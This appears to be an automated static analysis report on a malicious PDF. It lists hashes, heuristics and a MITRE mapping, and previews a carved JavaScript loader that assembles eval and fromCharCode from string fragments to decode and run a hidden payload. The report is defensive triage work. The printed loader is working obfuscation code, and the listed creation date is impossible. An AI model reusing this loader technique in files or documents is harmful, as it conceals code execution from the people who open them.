Malicious PDF — malware analysis report

Static analysis result for SHA-256 e631271d6bf9788a…

MALICIOUS

PDF

23.0 KB Created: 2011-72-51 03:25:00 First seen: 2013-08-22
MD5: 7912526d59503e3acb0b581e9a803367 SHA-1: 173edb5f21aca4474f165787ff1782da71ce636a SHA-256: e631271d6bf9788a4365c779c45f383e273fa46740c43ae6d9a7f31ce7a0a043
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, which is further obfuscated and utilizes an eval() call. This suggests the script is designed to execute arbitrary code, likely to download and run a second-stage payload. The high confidence in the eval() heuristic and the presence of JavaScript point to a malicious intent, though the specific family cannot be determined.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    GevUhazyj=eval(LolyYze+'l');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x5870 654 bytes
SHA-256: 9b62eac5b9f2178d7cc9fc0471c6571d40cef532a49348e03b9c06adef1b1f98
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var FuLahip='';
ZuriHecyf = new Date(2010,11,3,2);
var LolyYze = function(){return {e:'eva'}}().e;
GevUhazyj=eval(LolyYze+'l');
BgiceFem = 'thi'+ZuriHecyf.getHours()+'ducer';
Zokhi=GevUhazyj(BgiceFem.replace(2,'s.pro'));
MitEzah = Zokhi.split('s');
var QaquyzacagodyMugix = '';
g = ZuriHecyf.getHours();
var LwafyForcyq = 'fro'+ZuriHecyf.getHours()+'arCode';
LwafyForcyq=LwafyForcyq.replace(2,'mCh');
JkogKewyxeb=String[LwafyForcyq];
for (CyryamFepznuk = 0; CyryamFepznuk < MitEzah.length; CyryamFepznuk++) {
	HanunOly = GevUhazyj(MitEzah[CyryamFepznuk]);
	QaquyzacagodyMugix += JkogKewyxeb(HanunOly);
}
GevUhazyj(QaquyzacagodyMugix);

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